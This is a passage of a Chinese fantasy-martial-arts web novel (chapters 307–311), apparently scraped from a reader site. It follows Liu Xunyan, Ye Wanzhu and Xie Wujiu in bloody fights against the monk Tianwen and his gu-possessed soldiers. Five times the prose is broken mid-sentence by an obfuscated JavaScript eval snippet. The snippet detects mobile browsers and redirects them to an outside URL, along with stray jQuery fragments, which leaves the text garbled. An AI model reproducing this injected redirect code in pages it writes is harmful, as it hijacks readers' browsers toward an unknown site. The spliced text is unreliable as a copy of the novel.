通往南城门的大道上,暂时一切风平浪静,北城门这边的混乱还没有波及过来。 但也只是暂时,城里出了这样的乱子,百姓能逃跑的都逃跑了,这会儿到处都是黑灯瞎火,一片死寂。 一列马车正无声地停在路边。 这些马车的车身上都包着厚厚的铁皮,刀枪不入,马蹄和车轮上都包着厚厚的棉布,就算是走动起来,也几乎发不出太多响声。 每辆马车外面,这会儿都有两个武僧把守,一前一后地守在马车的两个门外,不错眼珠地盯视着。 天问大师要的人就关在里面,他们得格外小心才是! 柳寻雁被单独隔开,安置在一辆马车之中,她手脚都带着重重的镣铐,稍一移动,就会发出清脆的响动。 站在她马车之外的武僧也有四人,每听到里面传来动静,就会齐齐聚精凝神地看来。 这女人武功高强,不能不多加注意! 听着外面警惕的呼吸声,柳寻雁转了转眼珠子,忽然又用力地晃了晃手腕。 叮铃声再度响起,这已经是今天晚上的第不知道多少次了。 领头的武僧眼底闪过一丝烦躁,极力压抑着怒火,抬手敲了敲车壁。 “别白费力气了!”他压低了声音怒吼,“我警告你,再不老实,就打断你的手脚!” “我要方便!” 和这武僧的小心翼翼不同,马车中,柳寻雁的说话声十分响亮。 “闭嘴!” 听着她的声音仿佛能在夜空中引起道道回音,武僧顿时感到头皮一炸,下意识地呵斥,“不许说话!” “你不让我方便,还不让我说话?” 柳寻雁的声音不仅没有压低,反而还又放大了一些,“你让不让我活了?干脆现在就杀了我,也省得我受这样的折磨!” “闭嘴,闭嘴!” 眼见她的声音越来越响,武僧眉头一皱,上前便一把掀开了车帘! 这该死的女人! “我警告你——” 一句话还没说完,一阵凉意猛地从背后袭来! 不对劲! 武僧急急转身,却已经晚了! 当头一剑刺来,他瞳孔骤缩,却连一点儿声音都没有发得出来,便被人猛地刺穿了心口! 鲜血四溅,余下的武僧们反应过来,又悚然一惊! “你,你是何人——” 那女子不言不语,再度举剑袭上! 见状,武僧们也没什么可说的了,大吼一声,齐齐迎了上去! 他们虽然不是血蛊的宿主,没有那般的通天本事,却也是武艺过人的一把好手,却没想到,连在这个女子手下多过几招的本事都没有,便被接二连三地击倒在地! 鲜血不停溅出,越来越多的武僧蜂拥而上,心里也越发冷静不下来。 这女人,到底是何许人也? 能以一敌百,这种本事,除了柳寻雁,他们一时间实在是想不到还有谁能做到。 可,可柳寻雁不是正在那马车之中,被绑住手脚,动弹不得吗? “必须把她拿下!” 双眼死死地盯着那浴血奋战的身影,其中一个武僧的头领压低声音,语气里全是狠意。 “大师很快就会过来,不能被她得逞!” 闹出这么大的动静,若是再抓不到人,被天问大师知道了,一定会严惩他们的! “冲!”一众武僧听了这话也是毛骨悚然,齐齐加快了动作! 就在这时,黑夜中又有一道暗影飞出,跃进武僧之间,和那女子并肩作战起来! 竟然还有帮手? 武僧们的招式顿时又变得更加凶狠起来。 无奈,他们肉体凡胎,虽然人数众多,但在这样的两个高手面前,实在是不够看。 不出一炷香的功夫,地上尸体堆积,东倒西歪,鲜血顺着车轮四散而下,静静地朝着各处流淌。 等最后一个武僧也仰头倒下,周遭彻底陷入了一片安静之中。 长舒一口气,女子掀开蒙面巾,赫然露出一张无比熟悉的脸。 “柳姨姨!你好厉害!” 听着外面没了声音,一辆马车之中,小花的声音从里面传了出来。 “快把我们放出去!” 柳寻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16018919|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雁也不耽搁,喘了口气便上前去,一剑斩断了马车门外的锁。 小花顿时探出脑袋来,闻着外面的血腥气,她先是脸色一白,随后又强行忍住,踉踉跄跄地跳下马车,在那些武僧身上摸索起来。 这里的血虽然多了些,但她也不是忍受不了! 武僧们身上都带着马车的钥匙,两人围着车队转了一圈,将关在马车里的潇湘院下人,还有铺子的伙计们都放了出来。 “曼娘!” 解决了这些,柳寻雁快步赶回那个被额外看管着的马车面前。 先前被天问大师关在暗牢之中,柳寻雁正要寻找离开的办法,隐风和隐川便先一步找上了门。 天问大师利用的是东厂的机关,这些机关怎么操作,对隐风和隐川来说,简直是小菜一碟。 在两人的帮助下,柳寻雁和曼娘暗中交换了身份,又假死逃脱,等的就是天问大师耐不住性子转移的这个机会! 抬手一剑砍向曼娘脚腕上的铁链,一声脆响传来,柳寻雁被震得手腕发麻,脚下后退半步,忍不住皱起了眉头。 这铁链,好生结实! “是东厂中的玄铁。” 一道声音传来,那自从杀光了武僧,便安安静静站在一旁的男子开了口。 他的声音好像在砂纸上磨砺过一样,十分沙哑难听。 “刀兵对此无用,别白费力气了。” “那怎么办?” 柳寻雁又伸手摸了两下,眉头皱起,转身盯着那男子。 “这是你们东厂的东西,你应该知道怎么办吧?” 那男子上前一步,将面容暴露在月光之下,他的脸上也布满了受刑的疤痕。 “玄铁刀枪不入,想解开这锁链,只有拿到钥匙。” 钥匙? 柳寻雁下意识地朝着小花看了过去。 小花刚才的确从武僧的尸体上摸出了不少钥匙,可她开一道门就丢一把,这会儿手上已经空空如也。 “他们身上也没有这样的钥匙!”她指着那铁链上怪模怪样的锁头。 “那——” “什么样的钥匙?这样的吗?” 第三百零七章 我为什么这样,你不知道吗? 柳寻雁正要说话,半空中忽然传来一道声音,她身子猛地一震,还来不及反应,手中长剑已经直直刺了过去! 是天问大师那老秃驴来了! “快跑!”她低声急语道。 方才这里一番打斗,闹出的动静也不算小,柳寻雁没想过能拖延这秃驴多少时间。 小花闻言一猫腰就沿着小巷钻了进去,于此同时,其他人也跟着做出了相同的举动。 这里的巷子幽深狭长,弯弯绕绕的,一旦钻进去,便十分难以被人发现。 天问大师这时候侧身躲开了柳寻雁刺来的一剑,看模样,并没有要去追人的意思。 “柳女侠。” 静静落在地上,天问大师背着双手,望向柳寻雁的目光晦暗不明。 他很快又朝着柳寻雁身后看了过去,那个男子正站在那里。 四目相对,天问大师眼中的神情变得无比阴沉起来。 “隐竹。” 嘴皮子一掀,天问大师的语气也是阴恻恻的。 “你以为,你又背叛了贫僧,转投到东厂的麾下,便还能得到你旧主子的信任不成?” “一个叛主另投的下等货色,走到哪儿,都是一样的。” 想来想去,却还是没想到自己队伍中的内鬼竟然是隐竹,天问大师的心这会儿正猛烈地跳着,语气也变得十分尖刻。 隐竹上前两步,抬手摘下兜帽,让自己伤痕累累的脸彻底暴露在天问大师面前。 “你骗了我。” 定定地看着天问大师,隐竹冷冷地道出一句,脸色也跟着变得扭曲了起来。 “你跟我说,只要我替你做事,你就让主子重回正轨!可你只是要利用我罢了!”他的语气也激愤万分,“你这个该死的骗子,你利用我害了主子!” “那是你自己蠢。” 双手背后,天问大师冷嗤一声,眼中满是高傲。 “话又说回来,要不是你蠢,蠢到愿意给我办事,我又怎么能掌握谢无咎和京城的这种种动态?所以说啊,害了你主子的人,其实是你自己——唔!” 一粒小石子凭空飞来,直直朝着天问大师上下翻飞的嘴唇而去,他不得不再次闪身躲开,却还是被擦破嘴角,火辣辣的疼痛顿时跟着袭了上来。 “你这秃驴,还是闭上嘴吧!” 收回手,柳寻雁面上写满了厌恶。 “藏头缩尾,只敢耍弄阴谋诡计的鼠辈,最低劣的货色就是你了,竟然还好意思指点别人?” 天问大师抬手摸了摸自己的嘴角,再看向柳寻雁的时候,眼神就带上了道道杀气。 “给脸不要!” 咬紧牙关低咒一声,天问大师身形瞬移,几乎是顷刻间就出现在她面前! 月光映照之下,天问大师的眼底似乎也有一丝红光闪现—— 柳寻雁看不分明,却也来不及了,举剑迎上他这一击,却被一阵大力震得胸口发闷,喉头也漫上了腥甜! 这天问大师的功力,竟然不知为何暴涨了起来? 这是怎么回事? 踉跄后退两步才勉强稳住身形,柳寻雁不敢耽搁,立刻又再次冲了上去! 在她身侧,隐竹也沉默着跟上动作! 二人一左一右攻向天问大师,后者冷笑一声,张开双臂,不闪不躲,就这么硬生生地接下了两招! “雕虫小技!” 双手猛地发力,天问大师大喝一声,柳寻雁和隐竹顿时被震飞了出去! “受死吧!” 天问大师双眼猩红,嘴角也挂着一丝残忍的笑容,落地之后一把捞起隐竹瘫软在地的身子,抬手按住了他的脑袋。 隐竹有气无力地挣扎着,试图抬脚踹向天问大师下盘,伸出去的腿却又被他用另外一只手按住。 刺啦一声,天问大师硬生生地将隐竹的那条腿扯了下来! 剧痛让隐竹浑身抽搐,连一点儿声音都发不出,翻着白眼就要昏死过去。 天问大师这时候却又冷笑起来,手上用力,猛地一下,将隐竹的脑袋捏得粉碎! 白花花的脑浆顿时迸开,又顺着天问大师的手指流下,他目光专注地望着这恶心骇人的一幕,唇边的笑容也变得越发灿烂。 这人肯定不对劲! 又或者说,这真的是人吗? 将方才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16018920|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的一切都看在眼中,柳寻雁喘着粗气站起身来,眉头一皱,又朝着天问大师扑了过去! 就算没有半点胜算,也要拖延时间—— “不自量力。” 天问大师的声音依旧是冷冷的,看出柳寻雁的攻势,他索性站在原处,一动不动,一双眼睛冷冰冰地看过来,宛如柳寻雁已经是个**了。 “让开!” 谢无咎的声音伴着一阵厉风响起。 天问大师先是一愣,而后又转为不屑,身子晃了晃,似乎要侧身朝着谢无咎的方向看来。 下一刻,他被谢无咎一脚踹飞,猛地砸到了街对面的墙上! 轰隆一声,墙倒屋塌,天问大师的身子瞬间就被埋进了废墟之中! 烟尘四起,柳寻雁瞠目结舌地站在原地,连伸出去的剑都忘了要收回来。 从刚才到现在,她究竟都看见了什么? 这些人都是怎么回事? “秃驴,你已经黔驴技穷,穷得就剩收拾细软逃命了,竟然还有嚣张发狠的功夫?” 似乎并没有发现自己造成了多么惊人的效果,谢无咎落在地上,朗声朝着那一堆废墟说话。 烟尘尚未散开,里面却有东西动了动,天问大师很快艰难地伸出了一个脑袋。 “你,你……” 开口想说话,他先猛地吐出了一大口血。 全是黑的,在月光的照射下,似乎还又散发着幽幽的……红光? 柳寻雁看得眼皮直跳,再看向天问大师的时候,越发确定这位不是什么正常人。 妖怪。 疯子! “你怎么会,怎么会……” 天问大师这会儿却没顾得上看柳寻雁,他一双眼睛只死死地盯着谢无咎,里面写满了不可置信。 “我怎么会这么厉害?” 帮着他补全了问话,谢无咎轻笑了一声,眼中的神采似乎在一瞬间暗了下去。 “大师,你真的不知道吗?还是……你不愿意承认呢?” 天问大师眸光一闪,下一刻,却忽然大吼一声。 “杀了他!” “吼——!” 第三百零八章 准备围城! 叶晚竹带着西北大军赶到京城的时候,这里已经成了一片彻头彻尾的尸山血海,人间地狱。 带着红晕的月光洒下,所到之处,全是动作癫狂,嘶吼咆哮着的南疆蛊兵! “叶将军,咱们上吧!” 见着这些蛊兵们疯狂的动作,西北大军人人着急万分。 叶晚竹这时候多看了两眼,却又发现了问题。 城里城外都看不到还活着的百姓,十有**是全都被这些蛊兵所害。 可就算是这样,这些蛊兵们也没有停下挥刀的动作,反而是……朝着自己人而去! “他们,他们是疯了不成?”跟在叶晚竹身边,缓缓朝着京城方向靠近的梅副将这时候也看清楚了蛊兵们的动作,忍不住颤声道。 徐将军和毕烽先后丧命,西北大军又混乱了一阵子,这个叫梅耀扬的副将便是叶晚竹能找到的唯一一个熟悉的面孔。 梅副将先前也跟在徐将军身边,只是他性子温吞,向来不如毕烽得力罢了。 这会儿,看着眼前的景象,梅副将又开始眸光闪烁。 “叶将军,会不会,会不会有诈?” 叶晚竹这时候又策马向前走了几步,迫近了护城河边。 “应该不是,”她垂着目光,“这些蛊兵真的出了什么问题。” 顺着她的眼神,梅副将低头看去,随即又被吓了一跳。 护城河里的水又深又浑浊,里面塞满了南疆蛊兵,这些蛊兵落入水中,却并不着急往上攀爬,而是依旧在你一拳,我一掌地互相对打。 就这么一会儿功夫,已经有好几个蛊兵被护城河水淹没,然而却依旧不能让身边的蛊兵引以为戒。 连命都不要了,也要给对方来上几拳? 梅副将眼神闪烁,这会儿是真的确定,这帮蛊兵出问题了! 那,那他们的机会不就来了? “叶将军——” “嘘!” 及时出声制住梅副将的话,不用看也知道这位心有不解,叶晚竹解下**,朝着护城河中递了下去。 为了确保安全,京城外的护城河挖得又深又宽,又只往河道里填了一半的水,好让落下来的人游不出去就被淹死。 可这会儿功夫,河道里已经被蛊兵填满,活生生让水位上涨了一多半。 叶晚竹伸下去的枪尖刚触碰到水面,便被一个蛊兵一把抓住! 对方用了十成十的力气,扯得叶晚竹脚下一个趔趄! 好在她本就没打算硬抗,手一松,**落入水中,蛊兵们的怒吼也跟着响了起来! 似乎是因为这**,才发现了上面还有人,蛊兵们接二连三地抬起头,疯狂地朝着叶晚竹一行人伸出手,看上去很想把他们扯下来,再杀个痛快。 幸亏虽然水位上涨,可要是想从护城河里爬出来,却依然不是一件容易的事情。 看着这地府恶鬼索命般的景象,梅副将咽了咽口水,哆哆嗦嗦地往后**了两步。 “嗷嗷!”那些蛊兵们顿时叫得更响了。 叶晚竹这时候又踢起一把石子,石子落入水中,发出噼噼啪啪的动静,又将蛊兵们的注意力吸引回了河水之中。 追着石子动作几下,蛊兵们很快又发现面前就有能对打的人,便再次嘶吼着,互相攻击了起来。 带着身边的人后退到河中的蛊兵们看不见的地方,叶晚竹才轻声开口。 “若是大军贸然上前,恐怕就要和这些石子一样了。” 这些蛊兵看样子是疯了,可是战斗力仍在,一旦刺激到他们,说不定会有什么样的事情发生。 “那,那咱们怎么办?” 闻言,梅副将也皱起了眉头,表情十分为难。 “先将城门附近围起来,莫要让这些蛊兵到处乱跑。” 看着蛊兵们自相残杀的凶狠架势,叶晚竹又抬起头,望了望那一轮散发着红晕的月亮。 这就是血月带来的效果? 既然如此,等到天亮之后,这些蛊兵又会怎么样? “梅副将,”她收回目光,“大军前来勤王,可有带着**?” 叶晚竹熟悉徐将军的领兵风格,知道京中情况不妙,他应该会有所准备。 果然,梅副将一怔之下,又很快点了点头。 “徐将军让先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16025176|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遣的几支小队将**提前藏在了山中,”他低声说着话,又忽然明白过来,“叶将军,您不会是想……” 把京城的外墙,也炸了吧? “你还有其他的办法吗?” 叶晚竹掀开眼皮,没什么表情地朝着梅副将看了过去。 大军近不了这些蛊兵的身,若是天亮之后,他们还是现在这幅模样,那就只能用**送这些怪物上路了。 皇宫,东厂,还有京中其他更多的地方,早已经遭到炮火袭击,左右已经这样了,也不差一座城门。 “天亮之前,务必要准备就绪!”她语气审慎。 打了个哆嗦,又点了点头,梅副将策马向后,正要离开—— “吼!” 一声低沉的怪吼忽然从京城方向传了过来。 这是怎么回事? 叶晚竹转头看去,只见方才还各自为战,一盘散沙的蛊兵们,这会儿已经被从城里传来的动静吸引,停了手中的动作,齐齐转头看去。 停顿片刻,听着从里面传来的嘶吼声和打斗声,蛊兵们的战斗欲显然被彻底点燃! “嗷嗷!” 混乱地喊着,蛊兵们的动作却不算慢,又一拥而上,朝着发声的方向扑了过去! 叶晚竹侧耳细听,京城之中,这个时候当真又传来了更加激烈的打斗声。 京中还有什么人,能和蛊兵一战? 难道是—— “叶将军!” 这个时候,喊声响起,叶晚竹一扭头,便见着一个小兵骑着马朝自己飞奔而来。 她顿时心口一沉。 这是带着隐月同行的小兵! “殿下!” 果然,待策马走到近前,隐月便奋力抬起头来。 “城中,城中有信号……”他牙关紧咬,“主子让咱们围困城门,等时机成熟再动手!” 什么样的时机? 谢无咎到底在城里干了什么? “吼——!” 就在这时,又是一声吼,听着比刚才近了不少。 叶晚竹抬眼望去,触到那熟悉的人影,顿时愣住了。 第三百零九章 关键时刻掉链子 柳汝兰,金婶子,还有……萧然? 谁能告诉她,这三个人怎么会出现在这儿? 发生的事情太多,叶晚竹早就已经把景平王府的恩怨忘到了脑后,这会儿盯着三人看了几眼,又立刻发现了不对。 这三位这会儿都是一身的血迹,若不是叶晚竹对他们还有几分熟悉,恐怕压根从这几张血迹斑斑的脸上看出他们的身份。 三人出手狠辣,又似乎是力大无穷,围在身边的蛊兵纵使人数众多,一时间也不能拿他们怎么办。 不仅如此,靠近萧然身边的蛊兵,动作还有了明显的迟滞,又很快被柳汝兰抓过去,要么扯断脖子,要么掏出心脏。 在她们三人身后,零零散散还跟着几十个动作同样诡异的,百姓模样的身影。 这些百姓们的动作瞧着没有三人流畅,可与蛊兵厮杀起来的模样,依旧是凶猛非凡。 “这,这应该也不是人吧……” 看着眼前的画面,梅副将的眼皮子这会儿跳个不停,脑子更是已经成了一片空白。 这是什么情况? 怪物也会起内讧吗? “是天问大师搞的鬼。” 叶晚竹盯着那边又看了几眼,从柳汝兰三人的动作上,找到了一丝熟悉的痕迹。 这些人倒是和孟希越曾经的状态差不多。 蛊兵前来的时候,天问大师应该已经回到了城中,所以说,柳汝兰他们一行,就是他对付蛊兵的武器? 叶晚竹沉默不语地看着城门那边的景象,就这么一会儿功夫,柳汝兰身边破碎的蛊兵尸体就已经有了要堆积成山的意思。 不过,相应地,一行人的动作瞧着也比刚开始缓慢了一些。 所以不是要反杀,而是要牵制这些蛊兵? 牵制他们做什么? 给自己争取时间! 思绪顿时通畅,叶晚竹一把将虎符解下,犹豫片刻,丢到隐月手中。 “那秃驴要跑,我去帮忙,你们在这儿守着!” “**!”她又朝着梅副将抬手一点! 有柳汝兰他们在,大军和蛊兵交锋的可能性变得更小,但也还是要小心防备! 梅副将连忙点头,叶晚竹调转马头,绕着城墙,朝南城门的方向疾驰而去。 天问大师要逃跑,那肯定是从离战场最远的城门走。 况且,从南城门离京,也最方便去南疆! 希望她还来得及! 目送着叶晚竹的背影消失在暗夜中,隐月深吸一口气,无视从身上各处传来的疼痛,在马背上坐直了身子。 两位主子要去办最要紧的事情,他不能让后方出了什么岔子! —— 隐月和西北大军这一等,便足足等了两炷香的功夫还多。 也不知道天问大师是怎么办到的,柳汝兰这一行人当真是勇猛无比,和数量庞大的蛊兵硬是打得有来有回。 可她们毕竟只有几十个,其中一个还是幼童。 那些百姓们无论是动作还是力道,都比不上领头的这三位,两炷香过去,已经看不到他们的动作,只剩下那三人还在奋战。 很快,大约是力气不支,萧然第一个倒下,没再站起来,被兴奋的蛊兵们撕成了碎片。 金婶子是第二个支撑不住的,抬起的手直接被蛊兵按住,抡起来丢进护城河中,很快也没了声息。 唯有柳汝兰的战斗力依旧强悍,好像浑身上下都是用不完的力气,暂时看不出要落败的架势。 再剩下的就是…… “怎么还有鸡?” 梅副将已经从先前的惶恐害怕,变成了如今的一脸麻木,饶是这般,看着那一群数量庞大,且围着蛊兵的脚腕猛啄的鸡,他还是忍不住抬手搓了搓脸。 这些鸡,怎么看上去也不对劲? “你问我,我问谁去?” 隐月没好气地翻了个白眼,强打精神的时间太长,他这会儿眼前发晕,浑身也疼得快要失去知觉了。 “**备好了没有?”咬紧牙关,他又朝着梅副将看了过去。 梅副将闻言连忙点头,还没来得及多说,目光忽然一凝! “她,她……”他抬手指着京城的方向。 眉心一跳,隐月猛地转过脑袋,便看到柳汝兰已经停下了和蛊兵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16025177|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厮杀的动作,正没命地朝着京城之中狂奔而去! “嗷——!” 仰天一声长嘶,柳汝兰的速度显然很快,这声音顷刻间就朝着远方而去了。 城门附近,被这突如其来的刺激一惊,蛊兵们先是回不过神,随后又嗷嗷地喊着,朝柳汝兰离开的方向追了过去! “坏了!” 隐月猛地一拍大腿,这种时候,这柳汝兰怎么也能掉链子? 还有,还有她这个样子,明显不对劲啊! 城里出什么事? “隐,隐月侍卫,咱们现在又该怎么办?” 另一边,梅副将颤颤巍巍地瞪大双眼,一副大难临头的表情。 “那些蛊兵……也进城了!” 眼下城门附近已经开始变得空空荡荡,所有蛊兵都被柳汝兰吸引,朝着城中跑得无影无踪! 隐月死死地咬着牙关,片刻后猛地一拍自己身前那个负责骑马的小兵。 “你,带我进城去,一旦有什么问题,我会发信号出来,你们立刻动手,把城门炸塌!” “再给我十万骑兵!那些蛊兵的数量不多了,不能让他们在城中作乱!” 就算城里的情况实在是到了控制不住的境地,至少,也不能让这些莫名其妙的妖怪再跑出来! 想到这儿,隐月忽然又朝着梅副将招了招手,等他靠近,这才压低声音,语气郑重地道:“另外三个城门也是,明白了吗?” 梅副将顿时又打了个哆嗦,半晌才猛地一点头,“是!” “千万不能心软!” 看出这梅副将的弱点在什么地方,隐月最后又叮嘱了一句,这才让那身前的小兵骑着马,带他往城中走去。 老天保佑,京城可千万不要真的出什么大乱子啊! 在隐月交代梅副将的这一阵子功夫里,柳汝兰已经嗅着血味,用最快的速度找到了危险发生的地方。 天问大师头破血流地被埋在一片废墟里,而在他面前,一个人影正朝着他大步而去! “杀了他!” 天问大师的厉喝响起,柳汝兰狂吼一声,身形瞬移便扑了上去! 第三百一十章 我杀了你! “小心!” 也是在这个时候,叶晚竹策马从南城门的方向而来! 一眼便看见了大步扑向谢无咎的柳汝兰,她心下一紧,下意识地大吼出声! 谢无咎也有所察觉,身子一晃,躲开柳汝兰要命的一击,同时屈膝重重顶在她腹部! 柳汝兰发出一声痛呼,被谢无咎这一下打得踉跄几步,一屁股坐倒在地! 和万千蛊兵打得有来有回的柳汝兰,居然被谢无咎一招放倒了? 叶晚竹的眼皮子不知道为什么,忽然就跳了跳。 还没等她反应,耳边劲风一响,紧接着,叶晚竹的肩膀便被死死捏住了! 这人手上的力气太大,叶晚竹愣是抗衡不了半分,情急之下只能抬脚往他下盘猛踹! “哼!” 耳后传来一声轻笑,叶晚竹顿时知道这是谁了。 “你还没死?”她跟着冷笑。 天问大师这老秃驴,真是阴魂不散! “王妃还是操心自己吧——” 天问大师的一句话还没说完便急急住了口,手上用力,要扯着叶晚竹往后退去。 “死秃驴,别跑!” 柳寻雁的喊声从后方传来,听着像是受了重伤,道道暗器也随之二来! 不得不闪身躲避,天问大师稍微耽搁了这么一会儿功夫,谢无咎便杀到了他面前。 “放开殿下。” 谢无咎的语气中没有半点情绪。 天问大师倒是又笑了一声,抬手扼在叶晚竹脖颈之上。、 “我就不放,你能怎么样?” 一边说着话,天问大师一边移开目光,飞快地朝着巷道中看了一眼。 这个时候,那些蛊兵也已经三三两两地追了过来,被这边的打斗声所吸引,蛊兵们嗷嗷怪叫着,一副要冲上来加入战局的模样。 柳汝兰也不免被这些蛊兵吸引,上前两步,又开始了新一轮的,无休无止的厮杀。 “是你干的吧?” 多看了一眼柳汝兰那孤家寡人的背影,天问大师的眼底渐渐漫出了一分狠意。 如果计划顺利,他本来应该有一支新生的队伍,护着他平安离开京城的。 “你到底是什么人?怎么会拥有这样的力量?” 再看向谢无咎的时候,天问大师的语气便显得更加阴沉沉的了。 这不可能,这不可能啊! “我是什么人?” 听着天问大师的问话,谢无咎这时候弯了弯嘴角,露出一个莫名其妙的微笑。 “怎么,老秃驴,你研究这些邪门歪道的东西,把脑子研究坏了?本督和你斗了这么长时间,你连本督的身份都记不得了?” “你少装模作样!” 天问大师的脑子还不至于彻底坏了,但眼下着实也不太清醒,被谢无咎方才那一脚踹上来,他这会儿头破血流,眼前也一阵一阵地发晕。 怒吼一声,天问大师忽然又用力捏住叶晚竹的脖子。 “再不说实话,我就杀了她!” “你还知道她是谁吗?” 眼神微凝,谢无咎却纹丝未动,只是抬眼又朝着天问大师看了过去。 “杀了她,你的阴谋诡计怎么办?我看你真是已经糊涂了。” 他语气轻蔑,天问大师听在耳中,额头上的青筋控制不住地迸了出来。 “你——” 不等天问大师再说什么,谢无咎忽然倾身向前,一拳朝他面门打去! 劲风呼啸,天问大师下意识地朝后仰身,一边将叶晚竹又掐紧了一些—— 就是在这个时候,天问大师的余光之中,一抹雪亮的光骤然划过! 叶晚竹接住柳寻雁抛来的**,回手狠狠刺入天问大师的手肘之中! 她用上了十成十的力气,**尽数没入,伴随着骨骼碎裂的声音,天问大师闷哼一声! 可他却愣是没有松开勒着叶晚竹的动作,反而手上又猛地用了一把力气,哪怕是疼到浑身颤抖,也不卸力! “我杀了你——” 狰狞暴怒的声音又在耳边响起,叶晚竹呼吸一窒,剧痛猛地袭上脖颈。 “你要杀谁?” 和他相比,谢无咎的问话声就显得平静多了,可他手上的动作却毫不留情。 沿着叶晚竹刚刚刺入的**,谢无咎按着天问大师的胳膊,喀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16025178|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嚓一声,将他的整根小臂折断,又硬生生地扯了下来! “啊——” 剧烈的疼痛之下,天问大师终于再也忍不住,怒吼出声,身子也猛地后仰,再重重地摔倒在地! 伴着谢无咎这个动作,叶晚竹身上的压力骤然一轻! 她眼前发黑,下意识地朝着面前的谢无咎倒下,那胸膛却不知为何往旁边偏移了两寸。 “师妹!” 柳寻雁这时候冲上前来,一把接住叶晚竹摇摇欲坠的身子,低头一看,她脖颈上的手印又深又重,瞧着十分可怖。 “老秃驴!”柳寻雁忍不住咬牙切齿地朝着天问大师摔倒的方向看了过去。 这个时候,谢无咎已经快步走到天问大师面前,弯腰便掐住了他的脖子! “你想找死,我成全你!” 低声说着话,又背对着众人,谢无咎的眼底终于漫起了一层血色。 天问大师睁大双眼,先是难以置信,随后又变成了茫然。 “这不可能,这不可——” “吼!” 柳汝兰的吼声这时候猛地插入了两人之中,听着凄厉无比,似乎正在承受着莫大的疼痛! 柳寻雁抬起头来一看,只见几个蛊兵正合力将她掀翻在地,又七手八脚地将她的四肢扯断。 鲜血迸出,这场面惊悚无比。 ……今天晚上,她还能看到什么奇怪的画面? 闭了闭眼,柳寻雁深吸一口气,袖子却又被扯住了。 “师姐,快,快跑……”叶晚竹忍着喉咙的疼痛道。 她虽然被天问大师掐得眼前发黑,但却还能听到周围的动静,那些蛊兵杀了柳寻雁,接下来,就该来找她们的麻烦了! “往高处跑!”她又用力扯了扯嗓子。 身后的吼叫声已经迫近,柳寻雁不敢耽搁,抱着叶晚竹便一跃而起! 不想这时,一道气劲从前方击来,猛地将柳寻雁落脚的一处院墙击得粉碎! “别想跑!”天问大师扭曲的喊声也跟着传来! 叶晚竹奋力睁开双眼,只见方才还掐着天问大师的谢无咎,不知道什么时候已经倒了下去…… 第三百一十一章 天亮之后 “谢——” 惊呼还没来得及喊完,叶晚竹身子一晃,和柳寻雁一起从碎裂的院墙上掉下,又砸进了那片废墟之中。 “哈哈哈哈……” 天问大师放声大笑,笑得嚣张无比! “再耀武扬威,你也不过是个残次品罢了,耍什么威风——” 仰天大笑着,目光触到天边的那一抹亮光,天问大师忽然一愣。 要天亮了? 整整厮杀了一夜,众人都对周遭的环境有些麻木,这会儿看着眼前的一切都变得明亮清晰,这才反应过来。 太阳不知道什么时候已经露出了头,阳光洒下,将夜晚的昏暗一扫而空。 “啊!” “嗷嗷!” 混合着惨叫和狼哭鬼嚎的动静从一边响起,天问大师抬眼看去,只见刚才那些正要冲上来扑杀的蛊兵们,不知道什么时候已经停下了脚步。 他们站在原地,不住地扭动着身子,一边发出凄惨的哀嚎,显然是正在经受着莫大的折磨! 叶晚竹艰难地从石头砖块里坐起身,一眼便看到了这诡异的画面。 